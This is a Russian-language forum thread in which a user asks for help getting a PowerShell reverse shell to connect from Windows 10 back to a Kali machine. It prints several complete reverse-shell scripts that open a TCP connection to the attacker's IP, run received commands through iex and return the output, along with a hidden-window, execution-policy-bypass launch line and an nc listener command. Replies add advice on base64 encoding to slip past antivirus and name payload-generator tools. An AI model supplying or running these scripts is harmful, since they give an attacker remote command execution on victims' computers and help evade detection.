 |

11.01.2026, 21:49
|
|
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами:
2070937
Репутация:
0
|
|
Привет всем.
Помогите реализовать простой реверс шелл с Kali на windows 10 .
Сам пробовал , но что то не получается , не пойму в чем дело.
На Kali открыл открыл порт рандомный на прослушку:
Код:
На винде от имени админа открваю powershell и пишу там:
Код:
Код:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_Kali",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
или в таком формате
Код:
Код:
powershell -NoExit -Command "& {
$client = New-Object System.Net.Sockets.TcpClient('IP_Kali', 5555);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (Invoke-Expression $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ';
$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
}
$client.Close();
Read-Host 'Press Enter to exit'
}"
P.S. там пишу IP адрес kali естественно. Так же приостановил стандартный антивирус на винде.
После нажатии Enter почему то закрывается окошка просто. Пробовал создать файл ps1, и через отдельное окно его выполнить, но тогда выдает ошибка синтаксиса, типа все неверно, целый лист ошибок.
Может есть рабочий скрипт у кого то? Не сложную, простую, для демонстрации просто.
|
|
|

11.01.2026, 22:17
|
|
Новичок
Регистрация: 08.09.2016
Сообщений: 0
С нами:
5093305
Репутация:
0
|
|
а PowerShell #3 (Base64) не пробовал? Online - Reverse Shell Generator
|
|
|

11.01.2026, 22:51
|
|
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами:
2070937
Репутация:
0
|
|
ссылка не открвается.. только заголовок и каркас сайта видимо тоже под санкциями или цензурой.
А что там можно делать? обфуксировать код под base64 ?
|
|
|

12.01.2026, 00:19
|
|
Участник форума
Регистрация: 08.06.2022
Сообщений: 153
С нами:
2070937
Репутация:
0
|
|
да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.
|
|
|

12.01.2026, 00:40
|
|
Постоянный
Регистрация: 28.05.2022
Сообщений: 800
С нами:
2086530
Репутация:
0
|
|
hitman20 сказал(а):
да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.
АВ блочить может, вот еще тебе инструмент - GitHub - t3l3machus/hoaxshell: A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.

|
|
|

11.02.2026, 19:45
|
|
Новичок
Регистрация: 10.02.2026
Сообщений: 0
С нами:
136720
Репутация:
0
|
|
Для начала тебе нужно на компьютере клиента создать файл power.ps1
Вписать туда скрипт
$client = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
} $client.Close()
После на своей машине прописать команду:
nc -lvnp 4444
При этом порт должен быть открыт
После этого на машине клиента прописываешь команду:
powershell -ExecutionPolicy Bypass -File power.ps1
|
|
|

07.06.2026, 18:52
|
|
Новичок
Регистрация: 09.11.2003
Сообщений: 3
С нами:
11842725
Репутация:
0
|
|
Ситуация с реверс шеллами на Windows через PowerShell довольно типовая — стандартный ввод команды напрямую в консоль часто приводит к проблемам с экранированием и синтаксисом, особенно если скрипт длинный. Base64 обычно решает эти вопросы, так как ты передаёшь единую закодированную строку, которую PowerShell декодирует и выполняет.
Кроме того, антивирусы и Windows Defender умеют цепляться именно за текстовые команды в открытом виде, а в base64-подходе они менее чувствительны, особенно если обойтись без явных вызовов подозрительных функций. Иногда помогает запускать PowerShell с параметрами -NoProfile и -ExecutionPolicy Bypass, чтобы не подловить политики ограничений.
Опыт показывает, что стабильнее всего делать отдельный скрипт .ps1, как уже рекомендовали, и запускать его целиком. И, да, не забывай проверять, что порт слушает именно твой netcat (или альтернативный слушатель), Windows не блокирует его через файервол. Иногда проблемы бывают с сетью — NAT, VPN, межсетевые экраны, стоит проверить пинг и доступность порта с Windows-клиента.
Кстати, а какой именно netcat ты используешь на Kali? Бывает, что в разных версиях есть нюансы с флагами. И вообще, интересно, зачем именно PowerShell? Иногда проще сделать exec шелл через ncat с обратным TCP. Если в дальнейшем захочешь, могу подсказать пару более надёжных вариантов с использованием ncat или socat.
|
|
|

Вчера, 20:00
|
|
Познающий
Регистрация: 11.02.2004
Сообщений: 73
С нами:
11707161
Репутация:
2
|
|
А в чем вообще баз64 помогает? Типо с экранированием проще, чтоб не ломался код при запуске? Просто пытаюсь понять, могу ли я просто так писать команды без всякой кодировки, или лучше сразу base64 юзать?
|
|
|

Сегодня, 04:15
|
|
Новичок
Регистрация: 30.03.2003
Сообщений: 6
С нами:
12166138
Репутация:
0
|
|
Base64 просто удобен, чтобы PowerShell не ругался на кавычки и спецсимволы в длинных командах. Можно писать и напрямую, но часто вылезает каша с экранированием, а с base64 проще и надежней, особенно если запуск через -EncodedCommand. Так что на практике лучше кодировать, чтобы не париться с синтаксисом.
|
|
|
|
 |
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|